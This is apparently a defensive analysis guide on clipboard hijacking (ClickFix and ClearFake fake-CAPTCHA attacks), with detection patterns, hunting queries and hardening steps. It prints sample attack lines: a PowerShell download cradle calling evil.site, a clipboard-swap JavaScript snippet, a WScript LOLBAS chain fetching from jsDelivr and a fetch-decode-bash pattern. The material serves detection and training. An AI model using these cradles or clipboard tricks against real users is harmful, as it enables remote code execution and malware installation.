Clipboard Hijacking Analysis

Clipboard Hijacking (Pastejacking) Analysis

A skill for analyzing clipboard hijacking attacks, understanding attack chains, and building defensive controls.

When to Use This Skill

Use this skill when:

• Investigating phishing campaigns that don't use attachments or downloads
• Analyzing fake CAPTCHA/IUAM verification pages that coerce clipboard paste
• Threat hunting for ClickFix, ClearFake, or pastejacking attack patterns
• Building detection rules for clipboard-to-console attack chains
• Understanding how attackers abuse the Clipboard API for command execution
• Reviewing suspicious PowerShell/CMD/Terminal executions after browser activity

Attack Overview

Clipboard hijacking (pastejacking) exploits the user habit of copying and pasting commands without inspection. Attackers programmatically place malicious text in the clipboard, then socially engineer victims to paste it into a console (Win+R, Terminal, PowerShell).

Key advantage: No file download, no attachment opened — bypasses email/web security controls.

Common Attack Patterns

1. ClickFix / ClearFake Flow

1. User visits typosquatted/compromised site
2. JavaScript silently writes Base64 PowerShell to clipboard
3. HTML instructs: "Press Win+R, paste, hit Enter to fix"
4. PowerShell executes → downloads archive → DLL sideloading → RAT

Typical payload structure:

powershell -nop -w hidden -enc <BASE64-PS1>

Decodes to download cradles like:

Invoke-WebRequest -Uri https://evil.site/f.zip -OutFile %TEMP%\f.zip
Expand-Archive %TEMP%\f.zip -DestinationPath %TEMP%\f
%TEMP%\f\jp2launcher.exe  # Sideloads malicious DLL

2. IUAM-Style Verification Pages

Fake "Just a moment..." CAPTCHA pages that:

• Detect OS via navigator.userAgent
• Copy OS-specific payloads on checkbox click
• Show benign text on screen, malicious command in clipboard
• Block mobile users (can't paste into console easily)

Clipboard mismatch pattern:

const shown = 'copy this: echo ok';  // What user sees
const real = isWin ? psWin : shMac;  // What gets copied
navigator.clipboard.writeText(real);

3. 2026 Evolutions (ClearFake, Scarlet Goldfinch)

• LOLBAS abuse: SyncAppvPublishingServer.vbs via WScript.exe
• Blockchain obfuscation: POSTs to BSC testnet RPC endpoints
• CDN staging: jsDelivr, GitHub, Cloudflare Workers for payload hosting
• Fake CAPTCHA: Instructs copy/paste instead of download

Example LOLBAS chain:

"C:\WINDOWS\System32\WScript.exe" 
  "C:\WINDOWS\system32\SyncAppvPublishingServer.vbs" 
  "n;&(gal i*x)(&(gcm *stM*) 'cdn.jsdelivr.net/gh/.../p1ilot')"

Detection Guidance

Windows Endpoint Detection

Process tree patterns:

explorer.exe → powershell.exe -c → wscript.exe <temp>\a.js
explorer.exe → cmd.exe → batch from %TEMP%
explorer.exe → wscript.exe SyncAppvPublishingServer.vbs

Registry artifacts:

• HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU — check for Base64/obfuscated entries
• Startup LNK files in %APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup

Event IDs to monitor:

• 4688 (Process Creation): Parent=explorer.exe, Child in {powershell.exe, wscript.exe, mshta.exe, curl.exe}
• 4663 (File Access): File creation in %LocalAppData%\Microsoft\Windows\WinX\ or %TEMP%
• 4697 (Service Install): Persistence mechanisms

Command-line indicators:

• powershell -NoProfile -NonInteractive -Command - with large stdin
• .split('').reverse().join('') obfuscation patterns
• eval(a.responseText) in WScript/CScript calls
• SyncAppvPublishingServer.vbs with external URLs
• WinHttp.WinHttpRequest.5.1 with -ep bypass

macOS Endpoint Detection

Process patterns:

Terminal/iTerm → bash → curl → base64 -d → bash

Key indicators:

• nohup bash -lc '<fetch | base64 -d | bash>' >/dev/null 2>&1 &
• Background jobs surviving terminal close
• Clipboard writes followed by Terminal process creation

Network Detection

C2 patterns:

• Daily-rotating domains with /Y/?t=<epoch>&v=5&p=<encoded>
• Outbound to CDN workers (jsDelivr, Cloudflare) from script hosts
• Blockchain RPC endpoints (e.g., bsc-testnet.drpc.org)

Suspicious user agents:

• MSXML2.XMLHTTP with reversed URLs
• WinHttp.WinHttpRequest.5.1 from PowerShell

Browser/EDR Detection

Clipboard API abuse:

• navigator.clipboard.writeText() on verification widgets
• Clipboard write immediately followed by console process creation
• Mismatch between displayed text and clipboard content

DOM manipulation:

• document.documentElement.innerHTML = html (page takeover)
• Tailwind CSS injection on compromised sites

Threat Hunting Queries

Splunk/SentinelOne-style

index=windows_logs EventCode=4688 
| where ParentImage="explorer.exe" 
  AND NewProcessName IN ("powershell.exe", "wscript.exe", "mshta.exe")
| where CommandLine LIKE "%-enc%" OR CommandLine LIKE "%-nop%"
| stats count by NewProcessName, CommandLine

index=windows_logs EventCode=4688 
| where ParentImage="explorer.exe" AND NewProcessName="wscript.exe"
| where CommandLine LIKE "%SyncAppvPublishingServer.vbs%"
| table _time, ComputerName, CommandLine

PowerShell Hunting Script

# Check RunMRU for suspicious entries
$RunMRU = Get-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU" -ErrorAction SilentlyContinue
$RunMRU.PSObject.Properties | Where-Object {
    $_.Name -ne 'Default' -and $_.Name -ne '(default)' -and $_.Name -ne 'a' -and $_.Name -ne 'MRUList'
} | ForEach-Object {
    $value = $_.Value
    if ($value -match 'powershell|wscript|mshta|base64|-enc|-nop') {
        Write-Output "Suspicious RunMRU entry: $($_.Name) = $value"
    }
}

Mitigation Strategies

1. Browser Hardening

Chrome/Edge policies:

{
  "dom_events_asyncClipboard_clipboardItem": false,
  "dom_events_asyncClipboard_writeText": false
}

Firefox about:config:

• dom.events.asyncClipboard.clipboardItem → false
• clipboard.autocopy → false

2. PowerShell Hardening

# Constrained Language Mode
Set-ExecutionPolicy -ExecutionPolicy AllSigned -Scope LocalMachine

# Block encoded commands
New-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows\PowerShell" 
  -Name "EnableScriptBlockLogging" -Value 1 -Force

# Application Control (WDAC)
# Block: powershell.exe -enc, -nop -w hidden

3. User Training

Key messages:

• "Never paste anything you did not copy yourself"
• "Type sensitive commands instead of pasting"
• "Paste into text editor first to inspect"
• "Fake CAPTCHA pages asking for console paste are malicious"

4. Network Controls

• Block outbound to known pastejacking C2 domains
• Alert on script hosts (WScript, CScript, MSHTA) making HTTP requests
• Monitor for connections to blockchain RPC endpoints from endpoints

Malware Families Associated with Pastejacking

Example Payload Analysis

When analyzing a suspicious payload:

1. Decode Base64: powershell -enc <BASE64> → decode the string
2. Check for obfuscation: Look for .split('').reverse().join(''), variable aliases
3. Identify LOLBins: mshta, wscript, cscript, regsvr32, SyncAppvPublishingServer.vbs
4. Trace the chain: Download → Extract → Execute → Persist
5. Check persistence: Scheduled tasks, Run keys, Startup folder LNKs

Related Techniques

• Discord Invite Hijacking: Same ClickFix approach after luring to malicious server
• Website Cloning: Compromised sites inject pastejacking JavaScript
• Homograph Attacks: Typosquatted domains for ClickFix delivery

References

• Unit 42: Fix the Click - Preventing ClickFix
• Pastejacking PoC - GitHub
• Check Point: Under the Pure Curtain
• Unit 42: The ClickFix Factory
• Red Canary: February 2026 Intelligence